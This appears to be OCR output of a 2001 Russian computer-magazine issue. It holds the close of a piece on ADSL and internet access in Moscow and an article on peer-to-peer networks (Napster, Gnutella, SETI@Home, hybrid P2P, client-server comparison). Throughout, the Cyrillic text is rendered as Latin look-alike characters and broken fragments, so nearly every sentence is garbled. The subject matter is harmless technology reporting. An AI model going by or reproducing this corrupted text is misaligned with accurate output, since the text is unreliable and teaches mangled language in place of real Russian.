33BMCMMOCTM OT BK/UOHeHHOTO B Hee TpacflMKa, CO- 

CTaB/meT oko/io $100 (200 M6aPiT) m/im $270 
(2000 M6aMT). 

FlecMOTp^i Ha cmnb cyiAecTBeHHyio pa3HMuy b 
A eHax, KO/iMHecTBO noAK/HoneHMM b MocKBe m riM- 
Tepe pacTeT npM6^M3MTe-nbHO paBHbiMM TeMnaMM. B 
MocKBe OKO/IO 20% nOAK/llOHeHMM MHAMBMAya/lb- 
Hbie, ocTa^bHbie KopnopaTMBHbie m^m ko^^cktmb- 
Hbie b WM/ibix AOMax. riosTOMy, ec^M roBopMTb o 
KO/iMHecTBe noAK/HoneHHbix no^b30BaTe^eM, to 
M ocKBa MMeeT co^MAHoe npeMMyiAecTBO. CeroAH^i 
Ha3biBaiOTCfl 14 m cJd p bi ot 10 ao 15 Tbican no^b30Ba- 
Te^eM. Pa 36 poc CBA 3 aH c TeM, hto bo mhotmx Kop- 
nopaTMBHbix ceT^ix Mcno^b3yiOTC5i KaK BHeniHMe, 

TaK m BHyTpeHHMe IP-aApeca. 

OneBMAHO, hto 3am5iAbiBaTb b Aa/ieKoe 6yAyiAee 
npM HbIHeiUHeM AHHaMMKe pa3BMTMfl Bp5IA /im MMeeT 
CMbi c/i. B 6/iMwaMweM we 6yAyiAeM 6yAeT npoMcxo- 
AMTb 6o^ee neTKoe cemeHTMpoBaHMe pbiHKa ao- 
CTyna b cootbctctbmm c noTpe6HOCTAMM pa3^MH- 
Hbix rpynn no^b30BaTe^eM. Ectcctbchho, hto co- 
xpaHMT CBoe 3HaneHMe m KOMMyTMpyeMbiM AOCTyn. 
Hepe3 roA-ABa Ha pbiHOK KOMMyTMpyeMoro AOCTyna 
H3HHyT B/lMilTb COTOBbie ceTM. 

TaKwe oneBMAHO, hto 3a 3 tot cpoK h m KaKOM 
peBO^iouMM b n/iaHe lUMpoKono^ocHoro AOCTyna 
b I/I HTepHeT Aawe b MocKBe He npoM30MAeT. By- 
AeT B03paCTaTb HMC-nO CKOpOCTHbIX K3Ha/10B, KO- 
/lMHecTBO KOTopbix aoctmthct 50-60 TbiciiH . 3to 
6yAeT 03HanaTb, hto npMMepHO no/iMM/i/iMOHa 
MOCKBMHeM (5% ot o6iacm h Mc/ieH hoctm Hace^e- 
hma ropoAa) CMoryT no-nb30BaTbC5i CKopocTHbiM 
AOCTynOM B FlHTepHeT. KaKTO^bKO CKOPOCTHOM 
AOCTyn 33 mmct BecoMyio ao/ho pbiHKa, Han HyT 
aKTMBHO no^B^^Tbc^i Aono/iHMTe/ibHbie yc^yrM, 
CHana/ia b Bv \ p,e HaM6o^ee BOCTpe6oBaHHbix yc- 
^yr — Aono/iHMTe/ibHbix Te/iec|DOHHbix HOMepoB m 
VPN. fla^ee no^B^TC^i 6o^ee c^owHbie yc^yrM, 
HanpMMep apeHAa npM/ioweHMM (eCRM, m t. n.), 
BMAeo no Tpe6oBaHMio, s^eKTpoHHa^i KOMMep- 
LJMfl, O KOTOpOM TaK MHOTO TOBOpMTCfl B nOC^eA" 
Hee BpeM^i. 

5yAeT/iM paciuMp^Tbc^ pbiHOK ADSL? Be 3 yc^OB- 
ho, mnbKO ceroAH^i He cobccm ^icho, rAe HaxoAMTC^ 
Ta KpMTMHeCKa^ TOHK3, 3a KOTOPOM TeXHO^OTM^ no- 
ziyHMT Bceo 6 iAee npM3H3HMe. 

■ ■ ■ ApTyp AjiviKnepoB 
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COMMUNICATIONS c e t e b a a apxmeKTypa 


TexHO/iori/ifl P2P 


Pa3rosop 



Ha paBHbIX 


B OKpywaiomeM Hac Mupe cymecTByeT MHOJKecTBO npuMepoB Toro, KaK He3HaHme/ibHoe Ha nepBbm 
B3mjifl co6bune B^eneT 3a co6oPi peBO/iimjMOHHbie M3MeHeHmi. npMMepHo Tatraa cMTyapmi B03HMK/ia b 
HHTepHeie c noHB/ieHMeM CMcieMbi o6MeHa cpaw^aMM Napster. He6o/ibwafl nporpaMMa nopoflH/ia 
OrpOMHyiO BO/lHy nOK/lOHHMKOB, THeBHblX 0TK/1MK0B, Cyfle6HblX npopeCCOB M MHTepeC K HOBOMy 
HanpaB/ieHMK) pa3Bmnn MHTepHeT-cepBMcoB nofl H33BaHneM peer-to-peer. 


OnpeAe/iiiMcn c noHATimivm 

HeM >Ke npi/iB/iemia k ce6e BHMMaHMe nporpaMMa Napster? B nepByio onepeflb 
TeM, hto OHa o6ecneHMBa/ia flociyn k oneHb nony/mpHOM MHcfiopMauMM — My- 
3biKe b cfiopMaTe mp3, npM pacnpocrpaHeHMM KOTopoPi www-cepBepbi McnbiTbi- 
BaiOT 6o/ibwyio 3arpy3Ky KaHa/iOB cba3m. KpoMe Torn, MHoroHMC/ieHHbie c/iy>K- 
6bi, Ha6^K)flaioiMMe 3a nnpaTCTBOM b CeTM, AOcraTOHHo neTKO c/ieAflT 3a noflo6- 
hnmm caMTaMM. nporpaMMa Napster pewa/ia o6e 3tm npo6/ieMbi oneHb npodo 
— Bee 3K3eMn/mpbi nporpaMMbi pa6oTa/iM cpa3y m K/iMeHTaMM, m cepBepaMM, 
nosTOMy KawflbiM ee no/ib30BaTe/ib oflHOBpeMeHHo m pa3flaBa/i My3biKa/ibHbie 
cjaaM/ibi flpyrMM no/ib30BaTe/iflM, m CKaHMBa/i mx caM. 3to no3BO/ifl/io pacnpefle- 
/iMTb Harpy3Ky, o6biHHo /lowamyfoca Ha cepBepbi, Ha MH0>KecTB0 o6biHHbix 
no/ib30BaTe/ieM. KpoMe Toro, b bi/i o b mb ni/ipaTOB b ceTM, cocromAeM M3 flecm- 
kob mmjuimohob no/ib30BaTe/ieM (a Napster HacHMTbiBaeT Ha AaHHbiM momcht He 
MeHee 70 m/ih no/ib30BaTe/ieM), Ka>KAbm M3 KOTopbix hto-to KOMy-TO nepeflaeT, 
npodo Hepea/ibHo. ripeuefleHTbi apecia no/ib30BaTe/ieM 3tom cMcreMbi 3a Hapy- 
meHMe npaB M3AaTe/ieM ywe MMe/iM MecTO, ho Beflb apecTOBaib 6o/iee 70 m/ih 
ne/iOBeK no BceMy MMpy HeB03M0>KH0. . . 

CeieBafl apxMTeKTypa, KOTopyio Mcno/ib30Ba/ia nporpaMMa Napster, Ha3biBa- 
eicn peer-to-peer (coKpameHHO P2P, ycrofl Blue rocn nepeBOfla Ha pyccKMM n3b\K, 
k co>Ka/ieHMK), noxa Hei). MHorfla TepMMH peer-to-peer nepeBOflflT Ha pyccKMM 

CHIP MKDHb 2001 


A3biK KaK «oflHopaHroBan ceib». flaHHbm nepeBOfl HeKoppeKTeH b KOHTeKCTe 
paccMaipMBaeMOM apxmeKTypbi, nocKO/ibKy othocmtca k TepMMHy peer-to-peer 
KaK k cnoco6y opraHM3aunn jioKa/ibHbix ceien. 

CyTb ee 3aK/iioHaeTCfl b tom, hto Bee nporpaMMbi, ynacTByioLAMe b KOHKpeT- 
hom BMfle ceTeBoro B3aMMOAeMCTBMA, a6co/iioTHo paBHonpaBHbi, m t3kmm o6- 
pa30M b ceTM flaHHoro cepBMca OTcyTCTByioT BbiAe/ieHHbie cepBepbi. KaK 
c^eflCTBMe, b TaKOM cxeMe B3aMMOAeMCTBMA He Tpe6yeTcn flopororo o6opyqo- 
Bamn m Bbifle^eHHbix KaHa/iOB, nocKO/ibKy bca Harpy3Ka pacnpeAe/iflera 
paBHOMepHo Ha Bcex no/ib30BaTe/ieM. no/iyHaera oneHb MHTepecHan 33bmcm- 
MOCTb — neM 6ojibwe ceTb m Harpy3Ka Ha Hee, TeM Ha 6o/ibwee kojimhcctbo 
no/ib30BaTe/iePi OHa pacnpeAe/meTCfl. TaKMM o6pa30M, c6a/iaHCMpoBaHHo no- 
CTpoeHHbie P2P-ceTM ^ B/i5i hdtc^i KaK 6bi caMonoAAep>KMBaioiAMMMCfl m caMO- 
MacujTa6MpyioiMMMMcn m He Tpe6yiOT KaKoro-/iM6o ueHTpa/iM30BaHHoro aflMM- 
HMCTpMpOB3HMfl. 

A^bTepHaTMBOM P2P-cMCTeMaM AB/mioTCfl TaK Ha3biBaeMbie «K/iMeHT-cepBep- 
Hbie» cMCTeMbi — b hmx cymecTByioT neTKO BbiAe^eHHbie cepBepbi, k KOTopbiM 
o6paiAaiOTcn Bee nponne 3/ieMeHTbi ceTM 3a yc/iyraMM. ripMMepaMM t3kmx cmc- 
TeM AB/mioTCfl www-cepBepbi no OTHoiueHMio k no/ib30BaTe/iflM MHTepHeTa mjim 
cepBepbi nenaTM no OTHoiueHMio k no/ib30BaTe/mM /lOKa/ibHOM ceTM. CTpyKTypbi 
P2P m K/iMeHT-cepBepHOM ceTM noKa3aHbi Ha pncyHKax 1 m 2. 


TexHO/iorMH P2P 
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» Bee BbiiuecKa3aHHoe AB/meTca noflTBep>KfleHMeM eiAe oflHoro i/imepecHoro 
cjDaKTa — P2P-ceTM npaxTnnecxn He noflBep>KeHbi ueH3ype n xaxoMy-/in6o afl- 
MMHMCTpaTMBHOMy XOHTpOJIX). B OT/lHHHe OT XJiaCCHHeCXHX X/lHeHT-CepBepHblX 
CMdeM, b P2P-ceTflx npodo HeT TaKoro maBHoro py6n/ibHnxa, KOTopbiM mo>kho 
6bmo 6bi Bbi K/iioHMTb bck) ceib. Ot noTepn oflHoro 3/ieMeHTa ceTb, xax efli/moe 
ue/ioe, HMHero He noTepueT, a p,nn ee 3axpbiTnu Heo6xoflMMO 6yflei OTK/iHDHMTb 
cpa3y Bee xoMnbxrrepbi, yHacTByioiAne b npouecce. B HaiueM npnMepe c npo- 
rpaMMOM Napster sto He MeHee 70 mjih pa6oHnx CTaHAnn. TeM He MeHee 3Ty cn- 
cieMy noo6eiAa/in Bbix/ix)HHTb 3a HexoHTpo/inpyeMOCTb noTOKa riMpaTCKMx ejaa m- 
jiob. Kax >ne TaKoe MO>KeT npon30MTM? 



Ben npaefla o Napster, iisim Bman P2P-ceTew 

ripaBfla 3ax/noHaeTcu b tom, hto Ha caMOM fle/ie Napster He uB/meTCfl P2P-cnc- 
TeMOM b ee x/iaccnHecxoM noHUTnn. rioMCK c^an/iOB b ceTM MfleT nepe3 ueHTpa- 
/iM30B3HHbiM cepBep, n nyieM ero Bbi x/hohchhu n/in ycTaHOBxn cjDn/ibTpoB bcio 
ceib c MaccoPi pa6oTaioiAHx ccbi/iox mo>kho CAe/iaTb npocro 6ecno/ie3Hon. To 
ecTb cJaaM/ibi 0Ha no-npe>KHeMy 6yflei pa3flaBaTb BceM >xe/iax)LAHM, ho nx hmkto 
H e yBMflMT. y Taxon CTpyKTypbi, Ha3biBaeMon rn6pnAHon P2P-cncreMon, ecTb 
B3>KHOe CBOMCTBO no CpaBHeHMK) C «HMCTblMM» CXeM3MM, a MMeHHO — OHa XOH- 
Tpo/inpyeMa. B to >Ke BpeMu ocHOBHau Harpy3Ka no nepexanxe cftan/iOB jio>kmt- 
cn Ha P2P-cocTaB/mx)LAyx) cncTeMbi. 

1/lHTepeceH npnMep a/ibTepHaTMBHOM Napster-noflo6HOM cncTeMbi, xoTopau Ha- 
3biBaeTC5i GnuteLLa. B OT/wnne ot Napster 3flecb ncno/ib3yeTCfl pacnpefle/ieHHafl 
CMCTeMa nonexa, n OHa Boo6me He meej ueHTpa/iM30BaHHbix Tonex. Kawflaa 3a- 
nyiAeHHau nporpaMMa 3HaeT o cymecTBOBaHnn Tpex coceAen, Te, b cbox) onepeflb, 
eiMe o Tpex n Tax Aauee. Korfla no/ib30BaTe/ib nocbmaeT 3anpoc Ha noncx, to oh 
pacnpocrpaHfleTCfl no flepeBy ao my6nHbi 3 (to ecTb Bcero b noMcxe ynacTByx)T 
39 ManiMH). noncx npexpaiAaeTCu He noc/ie OTBeTa Bcex 3anpoiueHHbix xoMnbxrre- 
poB, a no MCTeneHMM BpeMeHn, OTBeAeHHoro Ha noncx. TaxnM o6pa30M, nnc/io 3a- 
npocoB b GnuteLLa BbipacTaeT sxcnoHeHuna/ibHO c poctom nnc/ia no/ib30BaTe/ien. 

K co>xa/ieHHX), AaHHau cncTeMa nonexa oxa3a/iacb AOBO/ibHo HeacjDcjDexTnBHon, n 
nepe3 Hecxo/ibxo MecuueB 3xcn/iyaTaunn npon3om/ia neperpy3xa Been cem Ha 
AaHHbin MOMeHT MHoronncneHHbie noxuoHHnxn GnuteLLa pa3pa6aTbiBax)T cncTeMbi 
nonexa c/ieAyx)LAero noxo/ieHnu (npoexT Ha3biBaeTCfl GnuteLLaNG). 

Tn6pnAHbie P2P Tax>xe Haw/in CBoe npnMeHeHne b pacnpeAe/ieHHbix Bbinnc- 
jieHHflx, b nacTHocTn b cxeMe Grid Computing. B xanecTBe npnMepa Taxon cxe- 
Mbi mo>xho npnBecTn cncTeMy SETI@Home, xoTopau pa3pa6oTaHa p,nn pacne- 
tob, Heo6xoAnMbix p,nn nonexa BHe3eMHbix AnBn/in3aAnn. B SETI@Home nc- 
no/ib3yeTCfl cepBep, xoTopbin pa3AaeT 3aAaHnu ocTa/ibHbiM cy6-bexTaM ceTn, a 
ohh, co6cTBeHHO, n npon3BOAflT BbiHnc/ieHnu. Ha caMOM Ae/ie cxeMa Grid 
Computing b huctom BnAe nMeeT apxnTexTypy CLient-Server, n b ceTn He npe- 


K/ineHT 


Kjiwem 


a Pmc. 1. B K/meHT-cepBepHbix cemx npncyTCTByeT BbiAe/ieHHbiw 
aneivieHT — cepBep, KOTopbiM npeAOCTaB/iaeT cbom cepBMCbi 
ApyriiM 3/ietvieHTaM cotm, nB/ifiioiAMMcq K/meHTaMM 


CepBep 



xpaiAax)TC5i A^cxyccnn no noBOAy toto, noneMy >xe ncTopnnecxn Taxyx) cxeMy 
OTHec^n x xaTeropnn P2P. 

I/I 3 npnBeAeHHbix npHMepoB CTaHOBnTCii 5 icho, hto rpaHb Me>XAy P2P-cncTe- 
MaMn n CLient-Server AOCTaTOHHO npo3paHHa. npaxTnnecxoe npnMeHeHne Ha- 
xoa^t, xax npaBn^o, cncTeMbi, o6'beAnH^x)iAne jiyHiune nepTbi ot o6onx x^accoB 
npn/io>xeHHn. l/l3yneHne pa3^nHHbix npnMeHeHnn CLient-Server n P2P-cncreM 
no3B0^5ieT MHe npnBecTn Ta6/inAy cpaBHnTe^bHbix xapaxTepncTnx o6enx cnc- 
TeM (cm. Ta6^nuy). 

ConeTa^ OTAe^bHbie 3/ieMeHTbi o6enx CTpyxTyp, mo>xho no^ynnTb cncTeMy, 
xoTopa^ BnnTaeT b ce6n Bee caMoe ^yniuee n3 npnBeAeHHon Ta6/in4bi. 

HeM P2P MomeT noMOHb bbm? 

1/lTax, P2P — 3to, xoHeHHO, 3 aopobo, ho xaxyx) no^b3y MO>xeT npnHecTn 3Ta 
TexHo^orn^ xoHxpeTHO BaM? PaccMOTpnM Hecxo^bxo npnMepoB p,nn pa3Hbix xa- 
Teropnn noTeHAna^bHbix no^b30BaTe^en. 

• PflAOBbie no^b30BaTe^n, A-n^ xoTopbix He Ba>XHO, no xaxoMy npnHAnny pa- 
6oTaeTTa n^n nHa^ nporpaMMa, a Ba>XHO, HTo6bi OHa npeAOCTaB^^a onpeAe- 
^eHHbie cepBncbi n nenana 3to xopoiuo n 6e3onacHO c tohxh 3peHn^ co6^x)Ae- 
Hn^ xoHcfinAeHAna-nbHOCTn. Xopoiuo cnpoexTnpoBaHHbie P2P-cncTeMbi b stom 
OTHomeHHH HnHeM He ycTynax)T ux)6biM ApyrnM cncTeMaM. C Apyron CTopoHbi, » 


a Pmc. 2. B P2P-ceT$ix Bee 3/ioMeHTbi paBHonpaBHbi no OTHOiiie- 
hmk> APyr k flpyry. KaMAbiM 3/ieMeHT BBnneTcn oflHOBpeMeHHO 
m noTpe6MTe/ieM, m nocTaBiAMKOM yc/iyr. ripn stom Ka>KAbiM 3 ne - 
MeHT o6paiAaeTcn 3a cepBMCOM HanpnMyio k flpyroMy a/ien/iemy. 
Bnprya/ibHan P2P-cerb Moxer 6bnb <J>H3MHecKM pea/iMSOBana Ha 
nio6oM ceTeBOM TononorMM (HanpMMep «iuMHa» m/im « 3Be3Aa») 


Client-Server • B03M0>KeH KOHTpo/ib pecypcoB • 6o/ibiuaB Harpy3Ka Ha cepBep 

• floporoe cepBepHoe 
o6opyflOBaHMe 

• floporoe aflMMHncTpnpoBaHMe 

• no/iOMKa cepBepa napa/iM3yeT 
BCtO CeTb 

Peer-To-Peer • oTcyrcTByeT Harpy3Ka Ha KaKoii- • OTcyTCTByeT no/iHbm KOHTpo^b 
/im 6 o Bbifle/ieHHbm 3/ieivieHT ceTn pecypcoB 

• HeT HeoOxoflMMOCTM b • nnoxo cnnaHHpoBaHHan cncTeMa 

aflMMHMCTpMpoBaHHM cnoco6Ha neperpy3HTb ceTb 

• B03M0>KHbl HOBbie TMnbl 
nporpaMM 

a CpaBHMTeiibHbie xapaKTepncTMKM CMCTeM Client-Server m P2P 
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COMMUNICATIONS c e t e b a a apxmeKTypa 


» no/ib30BaTe/in P2P-nporpaMM ao/iwhu yHMTbmaTb, hto, 3anycKaa TaKyio npo- 
rpaMMy, ohm aBTOMaTMHecKM craHOBATCfl He mnbKO noTpe 6 MTe/mMM, ho m no- 
CTaBiMMKaMM cepBMCOB fl/ifl flpyrnx no/ib30BaTe/ieM. ripMBefly npMMep: oamh 
no/ib30BaTe/ib npoMHCTa/i/iMpoBa/i nporpaMMy Napster m HeKoppeKTHO ee ot- 
KOHcjDMrypMpoBa/i. B pe 3 y/ibTaie 3 Ta nporpaMMa pa 3 AaBa/ia BceMy MMpy coflep- 
>KMMOe HeCKO/lbKMX BHyTpeHHMX CepBepOB KOMnaHMM. l"l 0 CK 0 JlbKy MHTepHeT-Ka- 
Ha/i KOMnaHMM 6 bi/i oneHb xopowMM, to b TeneHMe aha c cepBepoB KOMnaHMM 
6 bmo BbiKanaHo HecKO/ibKO fleoiTKOB mra 6 aPiT MHcJ/opMaAMM. CTOMMOdb TaKoro 
a/ibrpyM3Ma Hec/iowHO npMKMHyTb. 

• fl/m pa3pa6oTHMKOB co 6 dBeHHbix cmctcm P2P npeAOcraB/meT bo3mow- 
HOCTb co3flaHM5i npMHi^MnMa/ibHO HOBbix TMnoB nporpaMM (HanpMMep, p,nn pac- 
npefle^eHHbix BbiHMc/ieHMM). KpoMe toto, pa3pa6aTbiBafl P2P-cMcreMbi, pa3pa- 
6othmkm no/iynaiOT B03M0>KH0CTb 6 o/iee BbiroflHO mx npoflaTb, nocKO/ibKy co- 
flep>Kaib TaKMe cMdeMbi pj\n B/iafle/ibLjeB 6 yflei BbiroflHee, neM 3KBMBa/ieHTHbie 
K/iMeHT-cepBepHbie CMdeMbi. XoTe/iocb 6 bi mnbKO npM3BaTb k octopo>khoctm b 
npoeKTMpoBaHMM noflo 6 Hbix cmctcm, oco 6 eHHO b n/iaHe nporH03MpoBaHMA nofl- 
CMdeMbi 6e3onacHocTM m 6 a/iaHCMpoBKM Harpy3KM Ha ceTb. ripM Heo 6 xoflMMOc- 
tm /lynwe Mcno/ib30BaTb m 6 pMAHbie cxeMbi. 

• B/iaAe/ibAbi nopTa/iOB m MHTepeHT-npoBaMflepbi no/iynaT oneHb cyiAecTBeH- 
Hoe npeMMyiAecTBO ot Mcno/ib30BaHMA P2P-CMcreM, nocKO/ibKy, 3aMeH/m cbom 
cepBepHbie CMdeMbi Ha 3KBMBa/ieHTHbie P2P-cMcreMbi, cepbe3H0 chm3at Harpy3- 
Ky Ha KaHa/ibi m noBbioiT HaAewHOCTb CMdeMbi b ue/iOM. B to we BpeMA cneKTp 


OHa He AB/ifleTCfl hcm-to yw oneHb HOBbiM. neperoBopHbie ycTpoMCTBa (TpaHKO- 
Ba/i CBA3b, HanpMMep), ceTM Ol/lflO, opraHM3aAMfl OTfle/iOB BHyTpM npeAnpMATMA, 
— Bee 3 to npMMepbi M3 wm3hm, rAe Tax m/im MHane Mcno/ib3yiOTCfl P2P-crpyKTy- 
pw. Ohm MoryT noACKa3aTb, rAe eiAe mowho Mcno/ib30BaTb 3/ieKTpoHHyio Bep- 
cmk) P2P-opraHM3auMM CTpyKTyp. 

Byflymee P2P. TIpoO/ieMbi m pemeHun 

rioc/ie no/m/ieHM/i nporpaMMbi Napster MMp MHcfiopMaAMOHHbix TexHO/iorMM ox- 
BaTM/i 6yM P2P. B TeneHMe roAa Ha pbiHKe noflBM/iMCb cothm P2P-CMCTeM, npeA- 
jiaraioiAMx cbom cepBMCbi b coBepiueHHo pa3Hbix 06 /iacTflx. l"loflBM/iMCb m cMcre- 
Mbi, KOTopbie 6 bi/iM npocTO HeMbic/iMMbi ao no/iB/ieHM/i P2P, HanpMMep KOMn/ieK- 
cbi pacnpeAe^eHHoro TecmpoBaHMfl ceTeM. 

Ha6/iiOAafl 3a tchacham^mm pbiHKa P2P-CMCTeM, MHorMe aHa/iMTMKM pewM/iM, 
hto AanHbiM K/iacc ^B/i53eTC5i naHaueeM nyTb /im He ot Bcex 6 eA, KOTopbie cyiAe- 
CTBytoT b I/I HTepHeTe. K cowa/ieHMio, sto He Tax. KaK m Bee Apyrne peweHMA, 

P2P o6nap,aej HeKOTopbiMM BecbMa cyiAecTBeHHbiMM HeAOCTaTKaMM. 

Oahom M3 npo6/ieM AB/meTca AOCTaTOHHO HM3Ka/i 3aiAMiAeHH0CTb noAo6Hbix 
ceTeM. OHa cra/ia np/iMbiM c/ieACTBMeM OTcyTCTBM/i AeHTpa/iM30BaHHoro KOHTpo- 
na 3 a ceTbio. KaK npaBM/ 10 , b hmx Mcno/ib3yeTCfl K/iMeHT-cepBepHa/i ayTeHTMcj/M- 
nau,m. B to we BpeMA ecTb HecKO/ibKO npMMepoB cmctcm, KOTopbie Mcno/ib3yiOT 
P2P-ayTeHTMc|DMKaAMK). HanpMMep, b c/iynae Groove Networks napo/ieM 3aiAM- 
LAaiOTCfl to/1 bKO ziOKa/ibHbie AaHHbie KawAoro no/ib30BaTe/ifl, a pj\n A0Ka3aTe/ib- 


fl/u i Mano6K>A>KeTHbix BbiHMCJiMTe/ibHbix npoeKTOB pewem-ie c npMB/ieHehmeivi P2P-TexHOJiomn 
AB/iaeTCfl He a/ibTepHaTMBOM, a npocro eAHHCTBeHHOM B03Mo>KHocTbio rha cymecTBOBaHkm 


yc/iyr, 0Ka3biBaeMbix no/ib30BaTe/iflM (tcm caMbiM npMB/ieKaa hobwx no^b30BaTe- 
^eM m B3MM3A Aono/iHMTe/ibHyio n^aTy 3 a HOBbie yc^yrM co CTapbix), mowho 
oneHb CM/ibHO paciuMpMTb. Bo3bMeM, HanpMMep, KOMnaHMK) America Online, ko- 
Topa^ Bbiiu^a b /iMAepbi Ha aMepMKaHCKOM pbiHKe b ochobhom 6 ^aroAap^ CBoePi 
MHTerpMpoBaHHOM o6o/iOHKe. rio^b30BaTe^b, noAnMcaBiuMMC^ Ha yc^yrM AOL, 
no/iyna/i b CBoe pacnop^weHMe MHTerpMpoBaHHyio o6o^OHKy pj\s\ pa6oTbi b ceTM, 
KOTopa^ AaBa^a eMy Bee. TaKOMy no^b30BaTe^io He HaAO o6ynaTbC5i pa6oTe c 
MaccoM ApyrMx nporpaMM m 3ayHMBaTb aApeca C3 mtob — Bee CTaHOBM/iocb ^erxo 
AOCTynHbiM b eAMHCTBeHHOM CMCTeMe. Mowho TaKwe npMBecTM KaK npMMep 
Yahoo m MSN, KOTopbie npeAOCTaB^^iOT no^b30BaTe^5iM nporpaMMbi hj\s\ o6MeHa 
COo6lAeHM5IMM, MHTerpMpOBaHHbie C MHCjDOpMaUMOHHblMM peCypcaMM CaMMX nop- 
Ta/iOB. TaKMM o6pa30M, Bee 6o^biue no^b30BaTe^eM nepexoA^T Ha pa6oTy c mh- 
cfiopMaAMOHHbiMM CMCTeMaMM nopTa^OB He npM noMOiAM 6poy3epoB, a npM noMO- 
iam cneuMa/iM3MpoBaHHbix nporpaMM. Mcno^b30BaHMe TexHO/iorMM P2P b noAo6- 
Hbix nporpaMMax noB^eneT 3 a co6om CHMweHMe 3aTpaT rj\s\ web-pecypcoB m 
npoBaMAepoB. C^eAyeT OTMeTMTb tot cjaa kt, hto hj\s\ ashhom KaTeropMM no^b30- 
BaTe^ePi noAxoA^T MCK/iiOHMTe/ibHO rM6pMAHbie CMCTeMbi, KOTopbie no3B0^5iiOT 
AepwaTb mx npMBA3aHHbiMM TO/ibKO k KOHKpeTHOMy npoBaMAepy. 

• ripeAnpMHMMaTe/iM m KOMnaHMM, OTKpbiBaioiAMe HOBbiM 6M3Hec, MoryT 
npeA/iowMTb no/ib30BaTe/iflM npMHAMnMa/ibHO HOBbie bmah cepBMca. 3to no3BO- 
^5ieT OTKpbiTb HOByio HMiuy Ha pbiHKe m 6e3pa3Ae^bH0 B/iacTBOBaTb b Hen b Te- 
neHMe AOBO^bHO A-HUTe/ibHoro BpeMeHM. B OT/iMHMe ot K/iMeHT-cepBepHbix pe- 
meHMM, P2P He noTpe6yeT 3HaHMTe/ibHbix MHBecTMAMPi b o6opyAOBaHMe, xoctmht 
m aAMMHMCTpMpoBaHMe. B KanecTBe npMMepa mowho npeA/iowMTb nporpaMMy 
aimster, pa3pa6oTaHHyio HecKO/ibKMMM aMepMKaHCKMMM cryAeHTaMM. B TeneHMe 
Mec^Aa noc^e oc|DMAMa/ibHoro OTKpbiTM^i cav\ja 6eTa-BepcMio stom nporpaMMbi 
ycTaHOBM /10 6o^ee MM/uiMOHa ne^OBeK! 

• HayHHO-Mcc/ieAOBaTe/ibCKMe MHCTMTyTbi m KOMnaHMM, mhtchcmbho Mcno^b- 
3yioiAMe BbiHMC/iMTe/ibHbie pecypcbi, MoryT nonpo6oBaTb B33MeH cynepcepBe- 
poB, croflLAMx MM/uiMOHbi AO/i/iapoB, ceTM M3 o6biHHbix nepcoHa^OK, no^yna^ 3K- 
BMBa/ieHTHyio MOiAHOCTb, Heo6xoAMMyio, HanpMMep, p,nn MeTeopo/iorMHecKMx, 
6M0/10rMHeCKMX M/IM MHbIX paCHeTOB. 

ripMMeHeHMM A-nfl P2P AeMCTBMTe^bHO MHoro, m nepeHMC/ieHHbie peiueHM^ 
Aa^eKO He McnepnbiBaiOT Bee MAeM p,nn npMMeHeHMii stoPI TexHO/iorMM. KcTaTM, 


CTBa toto, hto HeKOTopbiPi no^b30BaTe^b He 5iB^fleTC5i noACTaBHbiM jimaom, 
npeA/iaraeTC^ Mcno^b30BaTb «HaBOA^iAMe Bonpocbi m npoBepKy no ro^ocy». Ta- 
KMe cxeMbi, KOHeHHo, Bbi3biBaiOTy^bi6Ky, ho ohm Towe mmciot npaBO Ha WM3Hb. 

flpyra^ npo6^eMa — npaBM^bHa^i Km6ma\\v\n a/iropMTMOB cjDyHKAMOHMpo- 
aawrn ceTM. npMMep Gnutella noKa3biBaeT, KaK oamh HenpaBM/ibHbm a/i ropMTM 
b OAHoPi M3 noACMCTeM MOweT npMBecTM BCio CMCTeMy k no^HoPi noTepe cjay h k- 
AMOHa/ibHOCTM. Heo6xoAMMO e^e Ha 3Tane n/iaHMpoBaHMii ceTM onpeAe^MTb 
noACMCTeMbi, KOTopbie He Tpe6yiOT 6o^biuoro KaHa^a pj\n nepeAaHM AaHHbix m 
MHT eHCMBHbIX BbIHMC/ieHMM, M 0praHM30BaTb MX B KJ1 MeHT-CepBepHyiO M/IM 
MepapxMHecKyio CTpyKTypy. ripMMepoM tbkmx noACMCTeM, KaK npaBM^o, abjiaiot- 
cn ayTeHTMc|)MKaAM^, noMCK AaHHbix m/im pa3Aana 33A3HMM. 

E^e OAHa cepbe3Haa npo6/ieMa — Ha/iMHMe ywe ceMHac orpoMHoro ko- 
ziMHecTBa CTaHAapTOB Ha ceTeBbie npoTOKO/ibi b paMKax P2P m npoTOKO/ibi 
noACMCTeM. HanpMMep, npaKTMHecKM KawAa/i M3 cyiAecTByioiAMx ceMHac cmc- 
TeM pacnpeAe/ieHHbix BbiHMc/ieHMM Mcno/ib3yeT co6cTBeHHbie npoTOKO/i m 
a /1 ropMTM pa3AaHM 3ap,an\A\A. B pe3y/ibTaTe bc/i 3Ta Macca nporpaMM a6co- 
/1 kdtho He cnoco6Ha pa6oTaTb Apyr c ApyroM. Hto yw TyT roBopMTb 0 P2P- 
CMCTeMax, KOTopbie npMHaA/iewaT pa3HbiM K/iaccaM nporpaMM (HanpMMep, 
o6MeH coo6iAeHMflMM m o6MeH cJaaPi/iaM m) . BMecTe c TeM Kpyn h bi mm KOMna- 
hmamm ywe Ae/iaiOTC/i nonbiTKM KaK-TO opraHM30BaTb P2P-coo6iAecTBO m bw- 
pa6oTaTb o6iAMe npMHAMnbi pa3pa6oTKM noAo6Horo no. ripMMepaMM TaKMx 
coo6iAecTB 5\ B/i/HOTC/i NPI, P2PWG, JXTA. 

HaKOHeu, P2P, c tohkm 3penm 6M3Heca, ao cmx nop He MMeeT hctkmx MOAe- 
/ieM M3B/ieneHM/i npM6bi/iM. HanpoTMB, 6/iaroAapfl HeKOHTpo/iMpyeMOCTM noAo6- 
Hbix CMCTeM ohm HaHOCflT 6o/ibiuoPi BpeA pa3BMTMio ywe cyiAecTByioiAMx cxeM 
pea/iM33AMM, HanpMMep My3biKM. 1/lcK/iiOHeHMe cocTaB/i/noT, nowa/iyM, TO/ibKO 
CMCTeMbi pacnpeAe/ieHHbix BbiHMc/ieHMM. 

TaKMM o6pa30M, mowho OTMeTMTb, hto 6 /iaroAap/i cbomm n/iiocaM CMCTeMbi 
P2P MMeiOT 6 o/ibiuoe 6 yAyiAee, nocKO/ibKy 60 /iee neTKO cooTBeTCTByiOT Tpe 6 o- 
BaHMAM TeKyiAeM ceTeBOM MHcjDpacTpyKTypbi m nopowAaiOT ue/ibm p/iA yHMKa/ib- 
